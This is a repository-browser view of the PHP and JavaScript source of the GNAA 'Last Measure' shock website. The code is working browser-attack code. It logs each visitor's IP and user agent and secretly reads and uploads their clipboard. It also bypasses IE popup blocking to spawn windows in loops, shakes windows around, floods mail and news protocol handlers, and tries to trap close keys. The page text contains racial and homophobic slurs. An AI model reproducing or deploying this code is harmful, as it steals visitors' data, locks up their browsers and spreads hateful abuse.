source: trollforge/lastmeasure/index.php @ 155

Revision 155, 11.6 KB checked in by sam, 7 years ago (diff)
  • remove all traces of ?music=1
  • use $_SERVERDOCUMENT_ROOT? to access the database
  • don't create the database in the stats
  • Property svn:keywords set to Id
Line 
1<?php
2include("include/browser.php");
3
4/* Browser features */
5$br = new Browser;
6$br_ie6 = ($br->Name == "MSIE" && $br->Version >= 6);
7
8/* Additional information */
9$send = $_POST['send'];
10$popup = $_GET['popup'];
11$procreate = $_GET['procreate'];
12
13/* Print a random image name, with its 'image/' prefix. */
14$imagelist = array();
15$dh = opendir('images/');
16while(($file = readdir($dh)) != false) {
17  $ext = substr($file, -3);
18  if($ext == 'jpg' || $ext == 'gif') {
19    $imagelist[] = $file;
20  }
21}
22closedir($dh);
23function random_image() {
24   global $imagelist;
25   echo 'images/'.$imagelist[rand(0,count($imagelist)-1)];
26}
27
28function hey_everybody() { ?>
29  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
30  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
31          codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
32          width="1" height="1" id="hey" align="">
33    <param name="movie" value="flash/hey.swf"></param>
34    <param name="quality" value="high"></param>
35    <embed src="flash/hey.swf" width="1" height="1" name="hey" align=""
36           type="application/x-shockwave-flash"
37           pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>
38  </object>
39<?php
40}
41
42function external_ruin() { ?>
43  <script>
44    var mail = 'mailto:JOIN@THE.GNAA?subject=2005_RECRUITMENT_DRIVE'
45        mail += '&body=www.gnaa.us';
46    var news = 'news:alt.flame.niggers';
47
48    var protos = [
49      mail,
50      //'irc://irc.gnaa.us/#gnaa',
51      //'rlogin://x.x.x.x:xx',
52      mail,
53      //'telnet://x.x.x.x:xx',
54      //'ed2k://|file|Star.Wars.Episode.III.Revenge.of.the.Sith.2005.PROPER.DVDRip.XviD-GNAA.avi|1073397760|4D34DCA3C4E81B484EAC8CA408EEDD48|h=4OBEIFRUQRW7QJGRPBZJGRRQJHNP7KJS|/',
55      news,
56      //'callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE'
57    ];
58
59    function add(str) {
60      div = document.getElementById('goatse');
61      div.innerHTML = '<iframe width=1 height=1 src="' + str + '"></iframe>';
62    }
63
64    function extruin() {
65      document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
66      for(i = 0; i < 5; i++) {
67        add(mail);
68        add(news);
69      }
70      ruin();
71    }
72
73    function ruin() {
74      for(i = 0; i < protos.length; i++) {
75        add(protos[i]);
76      }
77      //print();
78      setTimeout("ruin()", 200);
79    }
80  </script>
81<?php
82}
83
84function move_around($w, $h) { ?>
85  <script>
86    var images = new Array;
87    <?php
88    global $imagelist;
89    echo "var imagecount = ".count($imagelist).";\n";
90    for($i = 0; $i < count($imagelist); $i++) {
91      echo "images[".($i+1)."] = 'images/".$imagelist[$i]."';\n";
92    } ?>
93
94    var delay = 10;
95    var step = .2;
96    var curstep = 0;
97
98    window.resizeTo(<?php echo "$w, $h";?>);
99    var centerX = (self.screen.width - document.body.clientWidth) / 2;
100    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
101    movew0w();
102
103    function movew0w() {
104      var j;
105      for (j = 0; j < 5; j++) {
106        curstep += step / 5;
107        var factorX = Math.sin(curstep * 6.1) * 0.9;
108        var factorY = Math.cos(curstep * 3.7) * 0.9;
109
110        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
111                    * (Math.sin(10+curstep/(10+j))+0.2)
112                    * Math.cos((curstep + j*25)/10);
113        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
114                    * (Math.sin(10+curstep/10)+0.2)
115                    * Math.cos((curstep + j*25)/10);
116        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
117      }
118      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
119      setTimeout("movew0w()", delay);
120    }
121  </script>
122<?php
123}
124
125function popup_bypasser() { ?>
126  <!-- This chunk bypasses popups -->
127  <script>
128    function shellscript() {
129      for(i = 0; i < 5; i++) {
130        open('http://<?php echo $_SERVER['SERVER_NAME'];?>/index.php?popup=1','_blank','scrollbar=no');
131      }
132    }
133
134    function main() {
135      x.DOM.Script.execScript(shellscript.toString());
136      x.DOM.Script.setTimeout("shellscript()");
137      setTimeout("main()", 200);
138    }
139  </script>
140<?php
141}
142
143function divert_onload() { ?>
144  <script language="JavaScript">
145    <!--
146    var SymRealOnLoad;
147    var SymRealOnUnload;
148    var SymRealWinOpen;
149
150    function SymOnUnload() {
151      window.open = SymWinOpen;
152      if(SymRealOnUnload != null)
153        SymRealOnUnload();
154    }
155
156    function SymOnLoad() {
157      if(SymRealOnLoad != null)
158        SymRealOnLoad();
159      window.open = SymRealWinOpen;
160      SymRealOnUnload = window.onUnload;
161      window.onUnload = SymOnUnload;
162    }
163
164    SymRealOnLoad = window.onLoad;
165    window.onLoad = SymOnLoad;
166    //-->
167  </script>
168<?php
169}
170
171function activate_applets() { ?>
172  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
173          align="middle" height="1" width="1">
174    <param name="ActivateApplets" value="1"></param>
175    <param name="ActivateActiveXControls" value="1"></param>
176  </object>
177<?php
178}
179
180
181/*
182 * Database shit
183 */
184function store_hit() {
185    $ip = $_SERVER['REMOTE_ADDR'];
186    $port = $_SERVER['REMOTE_PORT'];
187    $hostname = base64_encode('');
188    $uagent = base64_encode($_SERVER['HTTP_USER_AGENT']);
189    $referer = base64_encode($_SERVER['HTTP_REFERER']);
190    $user = base64_encode($_GET['u']);
191    $clipboard = base64_encode('');
192
193    $key = sprintf('%08x', -1 - time()) . substr(md5($ip . rand()), 0, 8);
194    $val = "$ip $port $hostname $uagent $referer $user $clipboard";
195
196    $id = dba_open($_SERVER['DOCUMENT_ROOT'].'/db/hit.db', 'c', 'db4');
197    if($id) {
198        /* First check that this IP hasn't already been recorded */
199        $tmpkey = dba_firstkey($id);
200        $tmpval = dba_fetch($tmpkey, $id);
201        $tmplist = explode(' ', $tmpval);
202        $tmpip = $tmplist[0];
203        if($tmpip == $ip) {
204            return $tmpkey;
205        }
206
207        dba_replace($key, $val, $id);
208        dba_close($id);
209    }
210
211    $id = dba_open($_SERVER['DOCUMENT_ROOT'].'/db/uagent.db', 'c', 'db4');
212    if($id) {
213        if(dba_exists($uagent, $id)) {
214            $count = dba_fetch($uagent, $id);
215            dba_replace($uagent, $count + 1, $id);
216        } else {
217            dba_insert($uagent, '1', $id);
218        }
219        dba_close($id);
220    }
221
222    $id = dba_open($_SERVER['DOCUMENT_ROOT'].'/db/user.db', 'c', 'db4');
223    if($id) {
224        if(dba_exists($user, $id)) {
225            $count = dba_fetch($user, $id);
226            dba_replace($user, $count + 1, $id);
227        } else {
228            dba_insert($user, '1', $id);
229        }
230        dba_close($id);
231    }
232
233    return $key;
234}
235
236function store_clipboard() {
237    $key = $_POST['key'];
238
239    $id = dba_open($_SERVER['DOCUMENT_ROOT'].'/db/hit.db', 'c', 'db4');
240    if(!$id) {
241        return;
242    }
243    if(dba_exists($key, $id)) {
244        $val = dba_fetch($key, $id);
245        list($ip, $port, $hostname,
246             $uagent, $referer, $user, $clipboard) = explode(' ', $val);
247        $clipboard = base64_encode($_POST['content']);
248        $val = "$ip $port $hostname $uagent $referer $user $clipboard";
249        dba_replace($key, $val, $id);
250    }
251    dba_close($id);
252}
253
254/*
255 * The rest of our code
256 */
257
258?>
259<html>
260  <head>
261    <title>GNAA Last Measure Unified</title>
262    <script language="JavaScript">
263      <?php include("include/js.inc"); ?>
264    </script>
265    <link rel="icon" type="image/x-icon" href="/favicon.ico" />
266    <link rel="shortcut icon" type="image/x-icon" href="/favicon.ico" />
267  </head>
268<?php
269
270    /*
271     *
272     *  First window ever, this should be our entry point
273     *
274     */
275
276    if(!$popup && !$send && !$procreate) {
277        $key = store_hit(); ?>
278    <body>
279      <?php include "include/goatse.php"; ?>
280      <form name="clip" method="post" action="index.php" style="display:none">
281        <input type="text" name="content">
282        <input type="hidden" name="send" value="1">
283        <input type="hidden" name="key" value="<?php echo $key; ?>">
284        <input type="submit">
285      </form>
286      <script language="javascript">
287        // without this if statement check, it bombs out with an error
288        if (typeof clipboardData != 'undefined') {
289          var content = clipboardData.getData("Text");
290          document.forms["clip"].elements["content"].value = content;
291        }
292        document.forms["clip"].submit();
293      </script>
294    </body><?php
295
296    /*
297     *
298     *  This is still the first window, but we got the clipboard contents
299     *
300     */
301
302    } elseif($send || $popup) {
303      if($send) {
304        store_clipboard();
305        $flash = 'flash/first_opener.swf';
306      } else {
307        $flash = 'flash/second_opener.swf';
308      } 
309      ?>
310<body background="<?php random_image();?>" bgcolor="#ffffff"
311      onLoad="setTimeout('extruin()',200);<?php if($br_ie6) { ?>setTimeout('main()',100);<?php } ?>"
312      onKeyDown="altf4key();ctrlkey();delkey();"
313      leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
314  <?php move_around(800, 600);
315        external_ruin();
316        activate_applets();
317        if($br_ie6) {
318          popup_bypasser();
319          divert_onload();
320        } ?>
321  <table width="100%" height="100%">
322    <tr>
323      <td valign="middle">
324        <div align="center">
325          <a href="http://www.gnaa.us/"><img src="gnaa.png" border="0"></a>
326          <br />
327          <br />
328          <?php if(!$br_ie6) { ?>
329            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
330                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0"
331                    width="1" height="1">
332              <param name="movie" value="<?php echo $flash;?>"></param>
333              <param name="quality" value="high"></param>
334              <embed src="<?php echo $flash;?>" quality="high"
335                     pluginspage="http://www.macromedia.com/go/getflashplayer"
336                     type="application/x-shockwave-flash" width="1" height="1">
337              </embed>
338            </object>
339          <?php } ?>
340        </div>
341      </td>
342    </tr>
343  </table>
344  <form>
345  <?php if($send) {
346    hey_everybody(); ?>
347    <input type="submit" value="CLICK ME" name="CLICK ME"
348           style="width: 2000px; height: 2000px;
349                  background-image: url('<?php //random_image();?>');"
350           src="<?php //random_image();?>" height="300" width="300"
351           onMouseOver="if(is_ie) {showModelessDialog('index.php?procreate=1');
352                        return true; }document.goatse.reset();movew0w();
353                        return true;"
354           onClick="if(is_ie) {showModelessDialog('index.php?procreate=1');
355                    return true; } movew0w();return true;"
356           onMouseOut="if(is_ie) {showModelessDialog('index.php?procreate=1');
357                       return true; } else{procreate();}
358                       movew0w();return true;">
359    <br />
360    Lastmeasure last measure last-measure nero institute
361  <?php } ?>
362  </form>
363  <form name="goatse" onReset="procreate();" onSubmit="procreate();" action="" id="goatse">
364    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
365  </form>
366</body><?php
367
368    /*
369     *
370     *  Window is a procreate window
371     *
372     */
373
374    } elseif($procreate) {
375      ?>
376<body bgColor="#ffffff"
377      onLoad="document.goatse.reset();movew0w();return true;bookmark();"
378      onKeyDown="altf4key();ctrlkey();delkey();"
379      onMouseOver="procreate();movew0w();">
380  <?php move_around(800, 600);?>
381  <h1>PROCREATING LAST MEASURE!!!</h1>
382  <h1>GNAA > j00</h1>
383  <h1>Fristage Postage is MINE.</h1>
384  <h1>EAT THIS, GOOGLE TOOLBAR.</h1>
385  fucking nigger operating system.. at least in fucking Firebird you don't
386  have to do this shit.
387  <?php hey_everybody(); ?>
388  <form name="goatse" action="#" ONreset="procreate(); return true;">
389  </form>
390</body>
391<?php
392
393    }
394?>
395</html>
Note: See TracBrowser for help on using the repository browser.